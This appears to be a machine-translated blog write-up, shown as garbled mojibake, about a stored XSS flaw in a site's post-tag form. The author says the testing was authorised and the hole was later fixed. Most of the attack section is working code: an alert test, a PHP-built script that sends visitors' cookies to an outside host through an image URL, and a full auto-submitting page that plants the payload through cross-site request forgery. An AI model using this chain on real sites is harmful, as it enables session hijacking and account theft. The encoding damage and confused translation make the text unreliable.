рд╣реИрдХрд┐рдВрдЧ рдПрдХ рдлрд╛рд░реНрдо рдФрд░ рдШрдЯрдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦрд╛рддреЗред "рдПрдХреНрд╕рдПрд╕рдПрд╕" рддрд╛рдХрд┐ рдХреИрд╕реНрдХреЗрдбрд┐рдВрдЧ рд╕реНрдЯрд╛рдЗрд▓ рд╢реАрдЯ рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреНрд░рдо рди рд╣реЛ

рдореИрдВрдиреЗ рд╡рд┐рдХрд┐ рд▓реЗрдЦ рд╕реЗ рд╢реАрд░реНрд╖рдХ рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рд▓рд┐рдпрд╛ред рдЕрдЬреАрдм рд▓рдЧрддрд╛ рд╣реИред

рдореИрдВ рдкрд╣рд▓реЗ рд╣реА рдкреГрд╖реНрда рдкрд░ рдЬрд╡рд╛рдиреЛрдВ рдХреЛ рдкреЛрд╕реНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд┐рдпрд╛, рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓реЛрдбрд┐рдВрдЧ рдХреЛ рджреЗрдЦрд╛ рдФрд░ рдореЗрд░реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ "рд╕реЗрдХрдВрдб" рдмрдЯрди, "рдореЗрд░реА рднрд╡рд┐рд╖реНрдп рдХреА рдкреЛрд╕реНрдЯ" рдХреЗ рдареАрдХ рдиреАрдЪреЗ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реБрдП рдЖрдзреЗ рд╕реЗрдХрдВрдб рдХреЗ рд▓рд┐рдП рд▓рдЯрдХрд╛ рджрд┐рдпрд╛ред рдореИрдВрдиреЗ рдРрдб рдХреНрд▓рд┐рдХ рдХрд┐рдпрд╛ рдФрд░ рдЙрдиреНрд╣реЛрдВрдиреЗ рдореБрдЭреЗ рдмрддрд╛рдпрд╛ рдХрд┐ рдореБрдЭреЗ рдкреЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдХрдо рд╕реЗ рдХрдо рджреЛ рдЯреИрдЧ рд▓рд┐рдЦрдиреЗ рд╣реИрдВред рдореИрдВрдиреЗ "рдкреНрдпрд╛рд░рд╛ рдмрд┐рд▓реНрд▓рд┐рдпреЛрдВ" рдЯрд╛рдЗрдк рдХрд┐рдпрд╛ - рдереЛрдбрд╝рд╛ рдХрдо рдлрд┐рд░ рд╕реЗ рдПрдХ рдмреНрд▓реЙрдХ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд▓реЛрдХрдкреНрд░рд┐рдп рдЯреИрдЧ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВрдиреЗ рддрдп рдХрд┐рдпрд╛ рдХрд┐ рдпрд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИ рдФрд░ рдореБрдЭреЗ рд╕рдВрдЧреНрд░рд╣ рдХреЗ рд▓рд┐рдП рдЗрд╕ рддрд░рд╣ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд░реВрд░рдд рд╣реИред рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рд┐рдЪрдХрд┐рдЪрд╛рд╣рдЯ рдХреЗ, рдореИрдВрдиреЗ рдЕрдкрдиреЗ рдореВрд▓ рд░реВрд╕реА рдореЗрдВ рдХреЛрдб рдкрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреЗрдЬ рд╕реЗ рдЦреЛрд▓реЗ, рдЦреЛрд▓реЗ рдФрд░ рджреЗрдЦреЗред

рдпрд╣ рдмрд╣реБрдд рдЙрдмрд╛рдК рдерд╛, рдФрд░ рдореИрдВрдиреЗ рдЕрдкрдиреА рддрд╛рдХрдд, рднрд╛рд╖рд╛рдУрдВ рдФрд░ рд╡рд┐рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЬреНрдЮрд╛рди рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рд╢рд╛рд╕рди рдХреА рдЕрдиреБрдорддрд┐ рд╕реЗ рдереЛрдбрд╝реА рд╣реИрдХ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рдкреВрд░реЗ рдЕрдзреНрдпрдпрди рдореЗрдВ рдореБрдЭреЗ 2 рджрд┐рди, рджрд┐рди рдореЗрдВ 3-4 рдШрдВрдЯреЗ рд▓рдЧреЗред

рдореИрдВрдиреЗ рд░реВрдкреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдФрд░ рдХреБрдЫ рдХреЛ рддреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдПрдХ рдЧрд▓рддреА рдпрд╛ рдХреБрдЫ рдФрд░ рджреЗрдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рд╡реЗ рдХрд╛рдлреА рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдереЗ: рдПрд╕рдХреНрдпреВрдПрд▓-рдЗрдВрдЬреЗрдХреНрд╢рди рдпрд╛ рдРрд╕рд╛ рдХреБрдЫ рднреА рд╕рдВрдХреЗрдд рдирд╣реАрдВред

рдореЗрд░реА js рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдХрдИ рдЪрд░ рдЧреНрд░рд╛рд╣рдХ рдкрдХреНрд╖ рдореЗрдВ рдмрд┐рд▓реНрдХреБрд▓ рднреА рдлрд╝рд┐рд▓реНрдЯрд░ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдФрд░ рдЖрдк рдЙрд╕ рдкреГрд╖реНрда рдкрд░ рдХрд┐рд╕реА рднреА рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдореИрдВ рдлрд╝реЙрд░реНрдо рдореЗрдВ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реВрдВред рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рдореИрдВрдиреЗ рдХреА рдереА рд╡рд╣ рдереА рдХреНрд▓рд╛рд╕рд┐рдХред

<script>alert(1)</script> 


рдПрдХ рдЦрд┐рдбрд╝рдХреА рд╕реНрд╡рд░реНрдЧ рд╕реЗ рдиреАрдЪреЗ рдЖрдИред рдпрд╣ рдХрд╣рд╛ рдХрд┐ рдЗрд╕ рджреБрдирд┐рдпрд╛ рдореЗрдВ рд╕рдм рдХреБрдЫ 1 рд╣реИред


рдореБрдЭреЗ рдХрд╣рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдпрд╣ рд▓рд╛рдбрд╝ рдкреНрдпрд╛рд░ рд╣реИред рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╕рд░рд▓ xss рд╣реИред рдЪрд▓реЛ рдкрд░реЗрд╢рд╛рди рди рд╣реЛрдВ - рдпрд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред

рдореИрдВ рдлрд╛рд░реНрдо рдореЗрдВ рдЪрд┐рдкрдХрд╛ рджрд┐рдпрд╛

 <script>window.eval = function(code){console.log(code)}</script> 


рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдлрд╝реЙрд░реНрдо рдореЗрдВ рдбрд╛рд▓рд╛ <iframe рдиреЗ рдХрд┐рд╕реА рдФрд░ рдХреА рд╕рд╛рдЗрдЯ рдХреА рдПрдХ рд╡рд┐рдВрдбреЛ рджреЗрдЦреА, рд░реЗрдлрд░рд▓ рдлрд╝реАрд▓реНрдб рдХреА рдЬрд╛рдБрдЪ рдХреА, рд╣рдорд╛рд░реЗ рдбреЛрдореЗрди рдХреЛ рджреЗрдЦрд╛, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╕рд░реНрд╡рд░ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдореЗрдВ рд╡реЗ рдЕрдкрдиреЗ рдФрд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд▓рд┐рдП рд░реЗрдлрд░рд▓ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЕрдкрдиреА рд╕рд╛рдЗрдЯ рд╣реЛрдиреЗ рдХрд╛ рджрд┐рдЦрд╛рд╡рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреЛрдИ рднреА рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЕрдиреБрд░реЛрдз, рдФрд░ рд╣рдо рдЬрд╡рд╛рдм рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдкреГрд╖реНрда рдкрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдореИрдВрдиреЗ рд╣реИрдХ рдХрд┐рдпрд╛ рдерд╛, рдФрд░ рд╣рдореЗрдВ рд╕рд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╕ рдлреЙрд░реНрдо рдореЗрдВ рдХрд┐рд╕реА рднреА рдХреЛрдб рдХреЛ рджрд░реНрдЬ рдХрд░рдХреЗред

рдЖрдЧреЗ рдореИрдВ рдЖрдкрдХреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рджреВрдВрдЧрд╛ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╣рдореЗрдВ рдХреБрдХреАрдЬрд╝ рднреЗрдЬреЗрдЧрд╛, рдпрд╣ рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рддрд╛рдХрд┐ рдореБрдЭреЗ рдбрд╛рдВрдЯрд╛ рди рдЬрд╛рдПред рдореИрдВ рдХреЛрдб рдХрд╛ рдореБрдЦреНрдп рдЯреБрдХрдбрд╝рд╛ рдирд╣реАрдВ рджреВрдВрдЧрд╛ рдЬреЛ рдкреГрд╖реНрда рдкрд░ рдореЗрд░реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЫрд┐рдкрд╛рддрд╛ рд╣реИ, рдореИрдВ рдЦреБрдж рдХреЛ рд╣реИрдХ рджрд┐рдЦрд╛рдКрдВрдЧрд╛ред

1) рдПрдХ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╣реА рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдореЗрдВ рдПрдХ рдкреЗрдЬ рдмрдирд╛рдПрдВред

 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body> <!--   --> </body> </html> 


рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд▓рдЧрднрдЧ рдХреЛрдИ рднреА рдЗрд╕реЗ рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред

2) рд╣рдореЗрдВ рдПрдХ рдлреЙрд░реНрдо рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рд╣рдорд╛рд░реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рднреЗрдЬреЗрдЧрд╛

  <iframe src="#  " method="post"></iframe> <form action="#  " method="POST"> <input type="hidden" name="#     xss." value=" "/> </form> 


3) рд╣рдо рдлреЙрд░реНрдо рдореЗрдВ рднрд╡рд┐рд╖реНрдп рдХреЗ рдкреНрд░рд╕рд╛рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ рдХреЛрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╣реИрдВред

 <?php $txt1 = "<script>var url='<img src=http://www1.hut.ru/testi.shtml?cookie='+document.cookie+'>';</script>"; $txt2 = "<script>document.write(url);</script>"; $txt11 = urlencode($txt1); $txt22 = urlencode($txt2); ?> 


рдпрд╣ рдХреЛрдб рдХреЛ рджреВрд╕рд░реЗ рдбреЛрдореЗрди рдореЗрдВ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рд╣рддрд╛ рд╣реИред рдореИрдВрдиреЗ urlencode () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред рдлрд╝рдВрдХреНрд╢рди рд╡рд░реНрдгрди рдкреГрд╖реНрда рдХрд╣рддрд╛ рд╣реИ: "рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ рдЬрдм рдПрдиреНрдХреЛрдбреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ URL рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╣ рдЪрд░ рдХреЛ рдЕрдиреНрдп рдкреГрд╖реНрдареЛрдВ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХрд╛ рд╣реИред"

4) рд╣реИрдХрд░ рдЬреЗрдПрд╕ рдХреЛрдбред




5) рдЦреИрд░, рдкреЗрдЬ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рд╕рднреА рдбреЗрдЯрд╛ рдХреЛ рдлреЙрд░реНрдо рдореЗрдВ рднреЗрдЬрддреЗ рд╣реИрдВред



рдЦреИрд░, рдпрд╣ рд╕рдм, рдЗрд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред

6) рдпрд╛рддрд╛рдпрд╛рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ, рдЖрдк рдХрд┐рд╕реА рднреА рдСрдирд▓рд╛рдЗрди рд╕реНрдирд┐рдлрд░ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХреЛрдб рдирд┐рдХрд▓рд╛
 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body> <?php $txt1 = "var url='<img src=#c?cookie='+document.cookie+'>';"; $txt2 = "<script>document.write(url);</script>"; $txt11 = urlencode($txt1); $txt22 = urlencode($txt2); ?> <iframe src="#  " method="post"></iframe> <form action="#  " method="POST"> <input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/> </form> <script> window.onload = function() {document.forms[0].submit()} </script> </body> </html> 



рдирддреАрдЬрддрди, рдЕрдЧрд░ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЖрддрд╛ рд╣реИ, рдФрд░ рдЙрд╕рдХреА рдХреБрдХреАрдЬрд╝ рдореЗрдВ рд╡рд╣ рд╕рд╛рдЗрдЯ рд╣реИ рдЬрд┐рд╕рдХреА рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд╣рдо рддреБрд░рдВрдд рдЙрдиреНрд╣реЗрдВ рдЖрддреНрдорд╕рд╛рдд рдХрд░реЗрдВрдЧреЗред рдХреЛрдб рдЪрд░реНрдЪрд╛ рдпрд╛ рдкрд╛рд░реНрд╕ рд╣реЛрдиреЗ рдХрд╛ рджрд┐рдЦрд╛рд╡рд╛ рдирд╣реАрдВ рдХрд░рддрд╛; рдореИрдВ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдореЛрдб рдореЗрдВ рд╣реВрдВред рдореЗрд░рд╛ рд▓рдХреНрд╖реНрдп рдХрдо рд╕реЗ рдХрдо рдПрдХ рднреЗрджреНрдпрддрд╛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧ рдХрд╛ рдмрдкрддрд┐рд╕реНрдорд╛ рдерд╛ред
рдЖрдк рдЯреИрдЧ рдореЗрдВ рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рдХрд░рдХреЗ рдЗрд╕ рд╣рдорд▓реЗ рд╕реЗ рдЦреБрдж рдХреЛ рдмрдЪрд╛ рд╕рдХрддреЗ рд╣реИрдВ
 <noscript> 

ps рдореБрдЭреЗ рдзрдиреНрдпрд╡рд╛рдж рджрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рджрд┐рди рдХреЗ рджреМрд░рд╛рди рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ред

Source: https://habr.com/ru/post/In213783/


All Articles